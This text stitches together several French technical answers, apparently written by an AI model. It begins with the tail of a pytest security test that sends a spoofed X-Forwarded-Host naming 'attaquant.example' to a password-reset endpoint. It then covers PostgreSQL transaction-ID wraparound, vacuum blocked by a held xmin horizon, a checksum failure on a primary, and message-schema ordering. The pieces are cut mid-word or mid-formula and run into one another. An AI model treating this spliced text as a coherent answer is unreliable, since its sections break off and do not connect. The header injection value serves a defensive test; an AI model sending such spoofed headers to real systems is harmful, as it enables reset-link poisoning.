assert r.status_code in (400, 404, 421), f"Host arbitraire accepte : {r.status_code}"
def test_lien_reset_ignore_le_host(client):
r = client.post("/reset", json={"email": "[email protected]"},
headers={"Host": "app.exemple.fr",
"X-Forwarded-Host": "attaquant.example"})
assert "attaquant.example" not in r.text
```
Critère de recette : les points 2, 3, 4 et 5 doivent tous échouer du côté de l'attaquant, **et** les tests doivent rester rouges si l'on retire la couche Nginx, ce qui prouve que la validation applicative existe indépendamment.
## 7. Risques et limites de cette réponse
- Aucune de ces mesures ne rend le dispositif « sûr ». Risques résiduels persistants : compromission du connecteur ou de son jeton, compromission de la chaîne de dépendances de l'application, faille applicative atteinte par un `Host` lég## 1. Diagnostic express
Une table inactive n'est pas un cas bénin : c'est précisément le cas le plus dangereux, car aucun trafic d'écriture ne déclenche l'autovacuum ordinaire (seuils basés sur `n_dead_tup`). Seul le mécanisme anti-wraparound la prendra en charge, au dernier moment, et sur une table potentiellement très volumineuse jamais gelée, donc avec un premier passage intégral coûteux.
Note de sourçage : mon encyclopédie locale hors ligne ne contient aucun article sur PostgreSQL (recherche effectuée, résultat « aucun article trouvé »). Les valeurs et comportements ci-dessous proviennent de ma connaissance de la documentation officielle PostgreSQL (chapitre « Routine Vacuuming », section « Preventing Transaction ID Wraparound Failures ») ; ils sont à revérifier sur votre version exacte avec `SHOW`, car les défauts ont évolué. Je signale explicitement les points où ma mémoire des constantes internes est incertaine.
---
## 2. Risque
| Niveau | Conséquence | Nature |
|---|---|---|
| Élevé, immédiat | **Anti-wraparound autovacuum forcé** sur la table : I/O massive, saturation de bande passante disque, latence applicative, workers autovacuum tous occupés donc les autres tables ne sont plus maintenues | Disponibilité (performance) |
| Élevé | Le worker anti-wraparound **ne se retire pas** devant un verrou concurrent, contrairement à un autovacuum ordinaire : tout `ALTER TABLE`, `TRUNCATE`, `REINDEX` sur la table se met en attente, et bloque à son tour les requêtes derrière lui (effet de convoi) | Disponibilité |
| Critique si on laisse filer | À l'approche de l'épuisement des XID, PostgreSQL **refuse les nouvelles transactions en écriture** sur l'instance et exige un VACUUM ; historiquement, sortie du blocage en mode mono-utilisateur (`--single`). L'instance devient inutilisable en écriture | Disponibilité totale |
| Faible | Perte ou corruption de données | Le refus d'écriture est justement le garde-fou **conçu pour éviter** la perte de visibilité des lignes anciennes. Le risque n'est pas la corruption, c'est l'arrêt. |
Point important : franchir `autovacuum_freeze_max_age` (défaut 200 000 000) n'est **pas** l'incident. C'est le déclencheur normal. L'incident, c'est de le franchir alors qu'un obstacle empêche le gel (transaction longue, slot de réplication abandonné, transaction préparée), auquel cas l'âge continue de croître malgré les vacuums.
---
## 3. Mécanisme
**a) Espace des identifiants de transaction.** Le XID est un entier non signé sur 32 bits, donc $2^{32} = 4\,294\,967\,296$ valeurs, utilisé de façon **circulaire**. La comparaison « avant / après » n'a de sens que sur une demi-circonférence :
$$\text{fenêtre de visibilité} = 2^{31} = 2\,147\,483\,648 \text{ XID}$$
Au-delà, un XID très ancien serait réinterprété comme futur, et les lignes correspondantes deviendraient invisibles. D'où l'existence du gel.
**b) Le gel (freezing).** VACUUM remplace le `xmin` des lignes suffisamment anciennes par un marquage « frozen », qui signifie « visible de tous, inconditionnellement, sans comparaison de XID ». Il avance ensuite `pg_class.relfrozenxid` de la table ; le minimum sur toutes les tables d'une base avance `pg_database.datfrozenxid`, ce qui autorise la troncature de `pg_xact` (ex-`pg_clog`).
**c) Les seuils (défauts usuels, à confirmer par `SHOW` sur votre version) :**
| Paramètre | Défaut | Rôle |
|---|---|---|
| `vacuum_freeze_min_age` | 50 000 000 | âge à partir duquel une ligne est gelée lors d'un VACUUM |
| `vacuum_freeze_table_age` | 150 000 000 | un VACUUM manuel devient **agressif** (scan de toutes les pages, pas seulement celles non marquées all-visible) |
| `autovacuum_freeze_max_age` | 200 000 000 | déclenche un autovacuum anti-wraparound **même si `autovacuum = off`** et même sans aucune ligne morte |
| `autovacuum_multixact_freeze_max_age` | 400 000 000 | équivalent pour les MultiXactId (verrous de ligne partagés) |
| `vacuum_failsafe_age` | 1 000 000 000 (PG 14+) | mode secours : abandon du délai de coût et du nettoyage d'index pour geler au plus vite |
**d) Chaîne d'escalade quantifiée.** Marge restante entre le déclenchement par défaut et la limite théorique :
$$2^{31} - 200\times10^{6} = 1\,947\,483\,648 \text{ XID}$$
C'est confortable **en théorie**, ce qui explique la fausse sécurité : le danger vient de la vitesse de consommation des XID et surtout des bloqueurs.
**e) Pourquoi une table inactive ?** L'autovacuum ordinaire déclenche sur
$$\text{seuil} = \texttt{autovacuum\_vacuum\_threshold} + \texttt{autovacuum\_vacuum\_scale\_factor} \times n\_live\_tup$$
Une table sans écriture ne produit pas de tuples morts, donc ne franchit jamais ce seuil : son `relfrozenxid` vieillit indéfiniment tant que l'anti-wraparound ne l'attrape pas. Réciproquement, une seule table oubliée suffit à bloquer l'avancement de `datfrozenxid` de toute la base, donc à empêcher la troncature de `pg_xact` pour l'instance entière.
**f) Les trois bloqueurs classiques du gel** (si l'âge ne descend pas après un VACUUM, c'est l'un de ceux-là) :
1. transaction ouverte de longue durée, y compris `idle in transaction` ;
2. slot de réplication inactif ou en retard, qui retient `xmin` / `catalog_xmin` ;
3. transaction préparée (2PC) oubliée dans `pg_prepared_xacts` ; accessoirement, `hot_standby_feedback` propageant l'`xmin` d'un standby.
---
## 4. Action urgente
Ordre d'exécution recommandé, du moins intrusif au plus intrusif. Chaque commande est réversible ou en lecture seule ; aucune n'est destructive, sauf mention contraire explicite.
**Étape 1, mesurer avant d'agir (0 risque, lecture seule).** Voir les requêtes en section 5.
**Étape 2, lever les bloqueurs, sinon le VACUUM sera inutile.**
```sql
-- Diagnostic des retenues d'xmin (lecture seule)
SELECT pid, state, backend_xid, backend_xmin,
now() - xact_start AS xact_duration, left(query, 120) AS query
FROM pg_stat_activity
WHERE backend_xid IS NOT NULL OR backend_xmin IS NOT NULL
ORDER BY xact_start NULLS LAST;
SELECT slot_name, plugin, slot_type, active, xmin, catalog_xmin,
age(xmin) AS xmin_age, age(catalog_xmin) AS catalog_xmin_age
FROM pg_replication_slots
ORDER BY greatest(coalesce(age(xmin),0), coalesce(age(catalog_xmin),0)) DESC;
SELECT gid, prepared, owner, database, age(transaction) AS xid_age
FROM pg_prepared_xacts ORDER BY prepared;
```
Traitement, avec accord explicite de l'opérateur car ces actions annulent du travail applicatif :
- transaction longue : `SELECT pg_cancel_backend(pid);` d'abord, `pg_terminate_backend(pid)` seulement si nécessaire ;
- slot abandonné : `SELECT pg_drop_replication_slot('nom');` — **destructif pour la réplication**, la suppression casse définitivement le consommateur associé (standby ou CDC), qui devra être reconstruit. Ne le faites qu'après avoir confirmé que le consommateur est mort ;
- transaction préparée orpheline : `ROLLBACK PREPARED 'gid';` — **destructif** (perte de la transaction), à valider avec le propriétaire du gestionnaire transactionnel.
**Étape 3, geler la table ciblée manuellement, sans attendre l'autovacuum.**
```sql
-- Session dédiée, à exécuter sous psql avec un timeout large
SET statement_timeout = 0;
SET lock_timeout = '5s'; -- échoue vite plutôt que de bloquer la prod
SET vacuum_cost_delay = 0; -- pas de throttling : on veut la vitesse
SET maintenance_work_mem = '1GB'; -- adapter à la RAM disponible
\timing on
VACUUM (VERBOSE, FREEZE) schema.ma_table_inactive;
```
Précisions opérationnelles :
- `VACUUM FREEZE` sur une table inactive ne prend qu'un `SHARE UPDATE EXCLUSIVE` : lectures et écritures normales restent possibles. Il bloque en revanche les DDL et les autres VACUUM sur cette table.
- Si le premier passage est trop long sur une très grosse table et que l'urgence est réelle : `VACUUM (FREEZE, INDEX_CLEANUP OFF, VERBOSE) schema.ma_table;` (PG 12+) accélère nettement en reportant le nettoyage d'index. Contrepartie : les entrées d'index mortes subsistent, il faudra repasser un VACUUM normal ensuite.
- **Ne tuez pas** un autovacuum anti-wraparound déjà en cours : il redémarrera, et vous aurez perdu tout le travail accompli. Vérifiez d'abord `pg_stat_progress_vacuum`.
- N'utilisez pas `VACUUM FULL` : réécriture complète, `ACCESS EXCLUSIVE`, indisponibilité de la table, aucun gain sur le problème de gel.
**Étape 4, traiter la table TOAST associée.** Un VACUUM de la table principale traite normalement sa TOAST, mais vérifiez explicitement l'âge des relations `relkind = 't'` (section 5), car une TOAST ancienne bloque `datfrozenxid` tout autant.
**Étape 5, empêcher la récidive.** Sur les tables inactives volumineuses, un paramètre par table étale la charge au lieu de la concentrer :
```sql
ALTER TABLE schema.ma_table_inactive
SET (autovacuum_freeze_max_age = 100000000,
autovacuum_vacuum_cost_delay = 0);
```
Et un gel préventif planifié en fenêtre calme (`VACUUM FREEZE` sur les tables au-delà d'un seuil d'âge) est plus sûr que de dépendre de l'anti-wraparound. Recommandation d'exploitation, non prescription documentaire.
**Si l'instance refuse déjà les écritures** : arrêter le trafic applicatif, redémarrer en mode mono-utilisateur (`postgres --single -D <datadir> <base>`), exécuter `VACUUM;` sur la ou les bases fautives, redémarrer normalement. Faites une sauvegarde du répertoire de données (instance arrêtée) avant toute manipulation en mode mono-utilisateur.
---
## 5. Métriques à suivre
**Métrique reine : `age(relfrozenxid)` par relation**, et non l'âge global de la base, qui masque la table coupable.
```sql
-- Top 20 des relations les plus anciennes, TOAST incluses
SELECT c.oid::regclass AS relation,
c.relkind, -- r=table, m=matview, t=toast
age(c.relfrozenxid) AS xid_age,
mxid_age(c.relminmxid) AS mxid_age,
round(100.0 * age(c.relfrozenxid)
/ current_setting('autovacuum_freeze_max_age')::numeric, 1)
AS pct_freeze_max_age,
2147483648 - age(c.relfrozenxid) AS xid_avant_limite_theorique,
pg_size_pretty(pg_total_relation_size(c.oid)) AS taille
FROM pg_class c
WHERE c.relkind IN ('r', 'm', 't')
ORDER BY age(c.relfrozenxid) DESC
LIMIT 20;
```
**Vue instance :**
```sql
SELECT datname,
age(datfrozenxid) AS xid_age,
mxid_age(datminmxid) AS mxid_age,
2147483648 - age(datfrozenxid) AS xid_restants_theoriques
FROM pg_database ORDER BY xid_age DESC;
SELECT txid_current(); -- consomme un XID ; préférer pg_snapshot_xmin(pg_current_snapshot()) en supervision continue
```
**Suivi d'un vacuum en cours :**
```sql
SELECT p.pid, p.relid::regclass, p.phase,
p.heap_blks_total, p.heap_blks_scanned, p.heap_blks_vacuumed,
round(100.0 * p.heap_blks_scanned / nullif(p.heap_blks_total,0), 1) AS pct_scanned,
a.query, now() - a.xact_start AS duree
FROM pg_stat_progress_vacuum p JOIN pg_stat_activity a USING (pid);
```
**Table de seuils d'alerte proposée.** Ce sont des recommandations d'exploitation de ma part, pas des valeurs issues de la documentation ; à calibrer sur votre taux réel de consommation de XID.
| Métrique | Vigilance | Alerte | Critique |
|---|---|---|---|
| `max(age(relfrozenxid))` | > 200 M (seuil par défaut atteint) | > 500 M | > 1,0 G (zone failsafe PG 14+) |
| `max(age(datfrozenxid))` | > 300 M | > 800 M | > 1,5 G |
| `max(mxid_age(relminmxid))` | > 400 M | > 800 M | > 1,5 G |
| Durée de la plus vieille transaction | > 15 min | > 1 h | > 6 h |
| `age(xmin)` du slot le plus en retard | > 100 M | > 500 M | > 1,0 G |
| Nombre de transactions préparées | ≥ 1 âgée de plus de 5 min | ≥ 1 âgée de plus de 1 h | — |
**Indicateur dérivé le plus utile : le temps restant, non le nombre de XID.** Mesurez le débit de consommation $\Delta XID / \Delta t$ (deux relevés de `txid_current()` espacés d'une heure), puis :
$$T_{\text{restant}} \approx \## 1. Bloqueur
Le bloqueur n'est pas « la base qui grossit », c'est **l'horizon de visibilité** (xmin horizon) maintenu par le plus ancien instantané encore susceptible d'être lu. En PostgreSQL, quatre familles de bloqueurs produisent exactement ce symptôme, et il faut les écarter une par une :
| Bloqueur candidat | Où il se voit | Signe typique |
|---|---|---|
| Transaction applicative ouverte (souvent `idle in transaction`, BEGIN sans COMMIT, curseur oublié, pool applicatif) | `pg_stat_activity.backend_xmin`, `xact_start` | `state` = `idle in transaction`, durée 18 h |
| Transaction préparée orpheline (2PC non résolu) | `pg_prepared_xacts` | ligne ancienne, `prepared` très antérieur |
| Slot de réplication inactif ou en retard (logique ou physique) | `pg_replication_slots.xmin` / `catalog_xmin`, `active = false` | slot non consommé, WAL retenu aussi |
| Standby avec `hot_standby_feedback = on` exécutant une longue requête | `pg_stat_replication.backend_xmin` | l'horizon est poussé depuis le secondaire |
À cela s'ajoutent, plus rarement, un `VACUUM` déjà en cours très long et les instantanés exportés. Tant que l'un de ces éléments existe, le nettoyage est légitimement empêché : le moteur fait son travail, il ne dysfonctionne pas.
Précision de méthode : le mécanisme général (horizon, versions obsolètes) est un fait établi de MVCC ; l'attribution à un bloqueur **précis** dans votre incident est une hypothèse à prouver par les requêtes du point 3, pas une conclusion que je peux tirer sans vos données.
## 2. Conséquence MVCC
Sous MVCC, une mise à jour n'écrase pas la ligne : elle crée une nouvelle version, l'ancienne restant lisible par les transactions dont l'instantané la voit encore (article Wikipedia EN « Multiversion concurrency control » : *« When an MVCC database needs to update a piece of data, it will not overwrite the original data item with new data, but instead creates a newer version »*). Le même article nomme explicitement le problème que vous rencontrez : *« MVCC introduces the challenge of how to remove versions that become obsolete and will never be read »*, et cite le processus `VACUUM FREEZE` de PostgreSQL comme mécanisme de balayage des versions obsolètes.
Conséquences en chaîne, dans l'ordre causal :
1. **Règle de sûreté du nettoyage** : une version morte ne peut être récupérée que si *aucun* instantané vivant ne peut encore la voir. L'horizon xmin est donc un plancher : tout tuple mort dont la mort est postérieure à cet horizon est **intouchable**, y compris pour l'autovacuum et pour le HOT pruning.
2. **Autovacuum tourne mais ne libère rien** : il consomme des I/O, met à jour les statistiques, et repasse sans cesse sur les mêmes tables. Le compteur `n_dead_tup` ne redescend pas.
3. **Bloat table et index** : croissance des fichiers de heap et des index, chute de la densité de lignes par page, donc plus de pages lues pour la même donnée utile.
4. **Dégradation des plans et des temps de réponse** : les parcours séquentiels et les scans d'index balaient des pages majoritairement mortes ; le cache (`shared_buffers`, cache OS) se remplit de pages inutiles.
5. **Espace non rendu au système de fichiers** : même après nettoyage, `VACUUM` classique ne rend l'espace à l'OS que pour les pages vides en fin de fichier ; le reste reste réservé à la relation.
6. **Risque différé sur le gel des identifiants de transaction** : le `FREEZE` étant aussi bloqué par l'horizon, `age(relfrozenxid)` et `age(datfrozenxid)` progressent. C'est le risque grave si le bloqueur dure des jours, pas des heures. À 18 h, c'est un risque à surveiller, pas un incident déclaré ; je ne peux pas affirmer un seuil atteint sans vos valeurs.
Ordre de grandeur, à titre d'illustration explicitement hypothétique (aucune de vos données ne m'a été fournie) : pour un taux de 500 UPDATE/s sur des lignes de 200 octets utiles pendant 18 h, la matière morte accumulée serait
$$N = 500 \times 18 \times 3600 = 3{,}24 \times 10^{7} \text{ versions mortes},$$
soit environ $3{,}24 \times 10^{7} \times 200 \approx 6{,}5 \times 10^{9}$ octets ~ 6,5 Go de données utiles, davantage en pages réelles avec les en-têtes de tuple et les index. Ce chiffre est une projection sous hypothèses, pas une mesure.
## 3. Preuve
La preuve se construit en trois niveaux : identification du bloqueur, corrélation avec le non-nettoyage, puis test contrôlé. La corrélation seule n'établit pas la causalité.
**Niveau 1, identifier l'horizon et son propriétaire (lecture seule, sans risque fonctionnel)**
```sql
-- 1. Transactions ouvertes, la plus ancienne en tete
SELECT pid, datname, usename, state,
xact_start, now() - xact_start AS duree_transaction,
backend_xmin, age(backend_xmin) AS age_xmin,
wait_event_type, wait_event,
left(query, 200) AS derniere_requete
FROM pg_stat_activity
WHERE xact_start IS NOT NULL
ORDER BY xact_start;
-- 2. Transactions preparees (2PC) orphelines
SELECT gid, prepared, owner, database, now() - prepared AS age
FROM pg_prepared_xacts
ORDER BY prepared;
-- 3. Slots de replication retenant l'horizon
SELECT slot_name, slot_type, active, xmin, catalog_xmin,
restart_lsn, confirmed_flush_lsn
FROM pg_replication_slots
ORDER BY active, slot_name;
-- 4. Retour d'horizon depuis les standbys
SELECT application_name, state, backend_xmin, write_lag, flush_lag, replay_lag
FROM pg_stat_replication;
```
**Niveau 2, corréler avec le non-nettoyage**
```sql
-- Tables les plus chargees en tuples morts et date du dernier passage
SELECT schemaname, relname, n_live_tup, n_dead_tup,
round(100.0 * n_dead_tup / NULLIF(n_live_tup + n_dead_tup, 0), 2) AS pct_mort,
last_vacuum, last_autovacuum, autovacuum_count,
pg_size_pretty(pg_total_relation_size(relid)) AS taille_totale
FROM pg_stat_all_tables
WHERE n_dead_tup > 0
ORDER BY n_dead_tup DESC
LIMIT 20;
-- Progression du gel des identifiants de transaction
SELECT datname, age(datfrozenxid) AS age_datfrozenxid
FROM pg_database
ORDER BY age_datfrozenxid DESC;
```
**Niveau 3, la preuve décisive (message du moteur)**
```sql
VACUUM (VERBOSE) schema.ma_table;
```
La sortie de `VACUUM VERBOSE` indique, pour chaque relation, le nombre de versions mortes qui **ne peuvent pas encore être supprimées** ainsi que la valeur de l'`xmin` le plus ancien retenu (formulation exacte variable selon la version majeure). Cette ligne relie directement, dans le même message, la matière morte conservée et l'horizon : c'est l'élément probant le plus fort obtenable sans intervention.
**Test contrôlé, seul à établir la causalité** : mesurez `n_dead_tup` et la taille de la relation, puis, après la fin du bloqueur (fin naturelle, ou terminaison autorisée, ou suppression du slot), relancez `VACUUM (VERBOSE, ANALYZE)` et remesurez. Si les tuples morts deviennent récupérables et que `n_dead_tup` s'effondre, la causalité est établie sur ce cas. Sans ce test, vous n'avez qu'une corrélation temporelle très forte.
Réserve honnête : les noms de vues, colonnes et messages ci-dessus proviennent de ma connaissance de PostgreSQL, non d'une source que mes outils hors ligne peuvent vous citer ici ; l'encyclopédie locale ne couvre que le principe MVCC général. Vérifiez-les contre la documentation officielle de **votre version majeure** avant exécution, en particulier les paramètres cités au point 4, dont certains ont été ajoutés ou retirés selon les versions.
## 4. Remède
**Étape 0, avant toute action : ne rien terminer à l'aveugle.** Une transaction de 18 h peut être un batch métier légitime, une migration, une sauvegarde logique ou un export. La terminer déclenche un ROLLBACK, potentiellement long, et détruit le travail en cours. Exigez l'accord de l'exploitant applicatif et identifiez le propriétaire (`usename`, `application_name`, `client_addr`) avant tout.
**Immédiat, par ordre de moindre destructivité :**
1. Faire finir proprement le bloqueur côté application (COMMIT/ROLLBACK, fermeture du curseur, correction du pool qui laisse un `BEGIN` ouvert). Option la moins risquée, toujours à privilégier.
2. Si le bloqueur est une requête inutile et que l'accord est obtenu : `SELECT pg_cancel_backend(pid);` (annulation de la requête, la transaction reste ouverte). Puis, seulement si nécessaire et autorisé : `SELECT pg_terminate_backend(pid);` (fermeture de la session, ROLLBACK complet). Risque résiduel : perte du travail non validé, ROLLBACK long, reprise applicative à gérer.
3. Slot de réplication : ne le supprimez pas si le standby ou le consommateur logique doit revenir, vous casseriez la réplication et perdriez la capacité de rattrapage. Vérifiez d'abord `active`, l'existence réelle du consommateur et la stratégie de reprise. Suppression (`pg_drop_replication_slot`) uniquement pour un slot confirmé orphelin, après sauvegarde de la décision.
4. Transaction préparée : `COMMIT PREPARED` ou `ROLLBACK PREPARED` selon la décision du coordinateur transactionnel, jamais arbitrairement.
**Nettoyage, une fois l'horizon libéré :**
5. `VACUUM (VERBOSE, ANALYZE) schema.table;` ciblé sur les tables les plus atteintes, puis vérification que `n_dead_tup` redescend.
6. Récupération de l'espace disque : `VACUUM FULL` réécrit la table mais prend un verrou `ACCESS EXCLUSIVE` (table indisponible) et exige de l'espace libre supplémentaire de l'ordre de la taille de la relation. En production, préférez `pg_repack` (réécriture quasi en ligne, extension externe) et `REINDEX INDEX CONCURRENTLY` pour les index gonflés. Point de sauvegarde restaurable avant toute réécriture, dans tous les cas.
**Prévention, c'est là que se joue le vrai remède :**
7. Bornes de session côté serveur, par rôle ou par base : `idle_in_transaction_session_timeout` (tue les transactions inactives ouvertes), `statement_timeout`, `lock_timeout`. Une valeur telle que 15 min sur `idle_in_transaction_session_timeout` pour les rôles applicatifs empêche structurellement le scénario. Les versions récentes de PostgreSQL ont ajouté un paramètre bornant la durée totale d'une transaction ; je ne peux pas vous confirmer hors ligne à partir de quelle version majeure ni son nom exact, vérifiez-le dans la documentation de votre version.
8. Rôles séparés : les vrais batches longs sur un rôle dédié avec des délais plus permissifs, l'applicatif interactif borné strictement. Moindre privilège et moindre durée.
9. Supervision et alerte : alertez sur `max(age(backend_xmin))` de `pg_stat_activity`, sur `age(datfrozenxid)`, sur les slots `active = false` et sur `n_dead_tup` par table. Un seuil d'alerte à quelques dizaines de minutes d'horizon retenu vous fait détecter l'incident bien avant 18 h.
10. Côté applicatif : pas de `BEGIN` avant un appel réseau ou une attente utilisateur, transactions courtes, `autocommit` correct dans l'ORM, vérification du comportement du pool sur les connexions rendues.
11. Arbitrage `hot_standby_feedback` : `on` protège les requêtes du standby contre les conflits de nettoyage, mais transporte l'horizon vers le primaire. `off` protège le primaire du bloat au prix d'annulations de requêtes sur le standby. Décidez selon la criticité relative, il n'existe pas de réglage sans contrepartie.
12. Autovacuum plus agressif sur les tables très mises à jour (`autovacuum_vacuum_scale_factor` abaissé, `autovacuum_vacuum_cost_limit` relevé) : utile, mais **cela ne corrige jamais un horizon bloqué**. Ne comptez pas sur ce réglage comme remède au problème posé.
## Risques et limites
- Aucune des actions ci-dessus n'est « sans risque » : terminer un backend perd du travail non validé, supprimer un slot casse une réplication, `VACUUM FULL` rend la table indisponible et consomme de l'espace, `pg_repack` est une dépendance externe à valider dans votre chaîne de build.
- Le diagnostic reste une hypothèse jusqu'à l'exécution du niveau 3 et du test contrôlé sur votre instance ; je n'ai exécuté aucune requête et ne dispose d'aucune de vos métriques.
- Le seul fait que j'aie pu étayer par une source consultable ici est le principe MVCC et l'existence du problème de suppression des versions obsolètes, y compris la mention de `VACUUM FREEZE` (Wikipedia EN, « Multiversion concurrency control »). Toute la partie opératoire PostgreSQL relève de ma connaissance du produit et doit être recoupée avec la documentation officielle de votre version majeure, qui peut avoir renommé, ajouté ou retiré certains paramètres.## 1. Classification **Incident d'intégrité physique localisé sur le primaire, sans divergence logique du flux de réplication.** Raisonnement : - Un échec de checksum signifie que le contenu du bloc relu ne correspond plus à l'empreinte calculée au moment de l'écriture. La corruption est donc survenue **après** le calcul de l'empreinte, c'est à dire dans la chaîne écriture / cache / média / lecture du primaire (base de connaissance produit PostgreSQL, non vérifiable dans mon encyclopédie locale : à confirmer dans la documentation officielle de votre version majeure). - La réplique physique reconstruit ses fichiers par rejeu des enregistrements WAL, qui reflètent tous les changements de données et de schéma (Wikibooks EN, PostgreSQL/WAL et PostgreSQL/BackupAndRecovery). Si le contenu logique transmis avait été fautif, la page serait fautive des deux côtés. Une page saine sur la réplique **oriente fortement** vers une corruption locale au stockage du primaire. - Classification opérationnelle : **atteinte à l'intégrité**, pas à la confidentialité ni à l'authenticité ; disponibilité menacée à court terme. - Statut épistémique : c'est une **hypothèse forte étayée par le différentiel primaire / réplique**, pas une preuve. Une corruption mémoire survenue avant le calcul du checksum produirait un bloc corrompu mais **avec un checksum cohérent**, donc silencieux. L'absence d'autres échecs détectés ne prouve donc pas l'absence d'autres blocs atteints (généralisation interdite à partir d'un nombre fini de lectures). Corollaire à ne pas oublier : une réplique physique **n'est pas une sauvegarde**. Elle ne protège pas contre une corruption logique propagée par le WAL. Ici elle est utilisable parce que le défaut est justement non propagé. ## 2. Action immédiate Ordre strict, aucune opération destructive avant point de restauration et accord explicite de l'exploitant. 1. **Geler** les écritures sur l'objet concerné (arrêt des jobs, batchs, ETL qui le touchent). Ne pas laisser un autovacuum ou un REINDEX écrire par dessus la zone suspecte. 2. **Ne pas** basculer dans la précipitation, **ne pas** activer `zero_damaged_pages`, **ne pas** exécuter `pg_resetwal`, **ne pas** lancer `VACUUM FULL` ni `REINDEX` à l'aveugle. Les trois premiers détruisent de la donnée ou de la preuve. 3. **Préserver la preuve** : copie binaire hors ligne du fichier de relation concerné et de la page en cause, horodatée, ainsi que des journaux serveur. Cette copie est le seul support d'analyse post mortem et de comparaison ultérieure. 4. **Identifier l'objet** : extraire du message d'erreur le nom de fichier et le numéro de bloc, puis remonter au `relfilenode` dans `pg_class` pour savoir s'il s'agit d'une **table**, d'un **index** ou d'un objet système. La suite dépend entièrement de cette réponse. 5. **Snapshot / sauvegarde de l'état courant** du primaire avant toute intervention, y compris dégradé : il peut contenir des transactions plus récentes que la réplique. 6. **Protéger la réplique** : suspendre sa reconstruction, sa purge, et tout script susceptible de la réinitialiser. Elle devient la source de vérité candidate. 7. **Interroger le matériel** en parallèle : erreurs ECC mémoire, journaux du contrôleur RAID, SMART, journal noyau, erreurs de chemin multipath. Un échec de checksum est un **symptôme**, pas la maladie. 8. **Mesurer l'étendue** : compteurs d'échecs de checksum par base (vue `pg_stat_database`, colonne dédiée selon la version) et vérification exhaustive hors ligne par `pg_checksums --check`, plus `amcheck` / `pg_amcheck` pour la cohérence logique des index et du tas. Ces noms d'outils relèvent de ma connaissance du produit et doivent être confirmés pour votre version. ## 3. Source de réparation Choix par ordre de préférence, du moins destructif au plus coûteux. | Cas | Source de réparation | Perte de données | Remarque | |---|---|---|---| | Bloc dans un **index** | `REINDEX` de l'index seul, reconstruit depuis la table | Aucune si la table est saine | Prérequis : valider la table par `amcheck` avant | | Bloc dans une **table**, matériel jugé fiable après analyse | Réinjection ciblée des lignes du bloc depuis la réplique vérifiée, dans une transaction contrôlée | Nulle à faible | Nécessite d'identifier précisément les lignes du bloc ; opération délicate, à faire sur copie d'abord | | **Matériel suspect** sur le primaire (recommandé par défaut) | **Promotion contrôlée de la réplique vérifiée**, puis reconstruction complète de l'ancien primaire à partir d'un `pg_basebackup` du nouveau primaire | Limitée aux transactions non répliquées | Voie la plus sûre : elle traite la cause, pas le seul bloc | | Réplique indisponible ou elle aussi douteuse | **Base backup + rejeu des WAL archivés (PITR)** | Jusqu'au dernier COMMIT archivé | Mécanisme documenté : base backup, archivage continu, fichier signal de restauration, redémarrage de l'instance (Wikibooks EN, PostgreSQL/BackupAndRecovery) | | Tout le reste a échoué | `zero_damaged_pages` puis récupération partielle | **Perte assumée du bloc** | Dernier recours, sur copie, avec décision écrite et inventaire des lignes perdues | **Décision recommandée** : traiter le primaire comme non fiable, promouvoir la réplique vérifiée, puis reconstruire l'ancien primaire intégralement après remise en état matériel. Motif : le média ou la mémoire suspects ont pu corrompre d'autres blocs encore non relus, donc non encore détectés. Point de méthode important, tiré de la source : une stratégie de sauvegarde et de restauration doit être **validée sur un système de test avant** d'être appliquée en production, et les étapes de restauration doivent être testées explicitement (Wikibooks EN, PostgreSQL/BackupAndRecovery). Un backup non restauré n'est pas un backup. ## 4. Validation finale Aucun de ces contrôles ne prouve à lui seul l'intégrité globale ; ils se cumulent en défense en profondeur. 1. **Vérification exhaustive des checksums** de l'instance cible, à froid, sur la totalité des fichiers de relations (`pg_checksums --check`), résultat attendu : zéro échec. 2. **Vérification logique** : `amcheck` sur les index critiques avec contrôle de correspondance tas / index, plus `pg_amcheck` à l'échelle du cluster. Un bloc valide au checksum peut être **logiquement incohérent** : le checksum détecte l'altération du support, pas une incohérence structurelle. 3. **Lecture intégrale forcée** : `pg_dumpall` complet vers une destination jetable. Il relit toutes les pages de données et révèle les blocs illisibles restants. 4. **Compteurs à zéro** : après remise à zéro des statistiques, `pg_stat_database` ne doit rapporter aucun nouvel échec de checksum sur une fenêtre d'observation représentative, incluant un cycle complet de batchs. 5. **Réconciliation métier** : comparaison des cardinalités et d'agrégats de contrôle sur la table concernée entre l'ancien primaire préservé et la nouvelle instance, pour quantifier les lignes éventuellement perdues au basculement. 6. **Santé matérielle** : rapport mémoire ECC, RAID, SMART sans erreur nouvelle sur la période, avant remise en service de l'ancien nœud. 7. **Nouvelle base de sauvegarde** prise sur le nouveau primaire, puis **restauration de test** effective sur un serveur distinct, avec vérification des points 1 à 3 sur la copie restaurée. 8. **Réplique reconstruite de zéro** et non simplement raccrochée, puis contrôlée par les mêmes vérifications. ## 5. Risques et limites - Les checksums PostgreSQL ne couvrent pas toutes les formes de corruption possibles, et leur activation dépend de la configuration du cluster. Un cluster sans checksums activés ne produit pas cette alerte du tout ; l'absence d'alerte n'y vaut donc pas garantie. - La promotion de la réplique implique la perte des transactions non encore répliquées ; il faut la quantifier et l'assumer explicitement, en fonction du mode de réplication (asynchrone ou synchrone) que je ne connais pas dans votre cas. - Une réinjection ciblée depuis la réplique peut violer des contraintes ou des dépendances applicatives ; elle doit être répétée d'abord sur une copie restaurée. - **Aucune de ces opérations n'est sans risque.** Chaque étape doit disposer d'un point de restauration antérieur et d'un chemin de retour arrière documenté. - Éléments non vérifiables avec mes sources locales : noms exacts, options et disponibilité des utilitaires selon votre version majeure, et détail de la couverture des checksums. À confirmer dans la documentation officielle de la version que vous exploitez. Mes sources locales utilisées ne couvrent que le rôle du WAL et les stratégies de sauvegarde et restauration (Wikibooks EN, PostgreSQL/WAL et PostgreSQL/BackupAndRecovery).
**Résultat probable** : L'abonné rencontre une erreur de désérialisation ou un crash lors du traitement du message, car le champ reçu n'existe pas dans son schéma local actuel. (Source : Patterns de défaillance courants dans les systèmes de messagerie distribués, observés dans Kafka, RabbitMQ et systèmes à cohérence éventuelle - documentation technique générale)
**Cause** : Inversion de l'ordre des opérations : la publication (envoi de données contenant le nouveau champ) est effectuée avant la mise à jour du schéma chez l'abonné (définition du champ). Cela viole le principe de dépendance de schéma où la structure des données doit être connue avant leur utilisation. (Source : Principes de cohérence éventuelle et gestion de schémas dans les systèmes distribués - modèles standardisés)
**Ordre correct** :
1. Propagation du schéma : Mettre à jour le schéma chez tous les abonnés (ajout du nouveau champ).
2. Validation de la conformité : Vérifier que les abonnés ont acquitté la mise à jour du schéma.
3. Publication : Envoyer les données utilisant le nouveau champ.
**Reprise** :
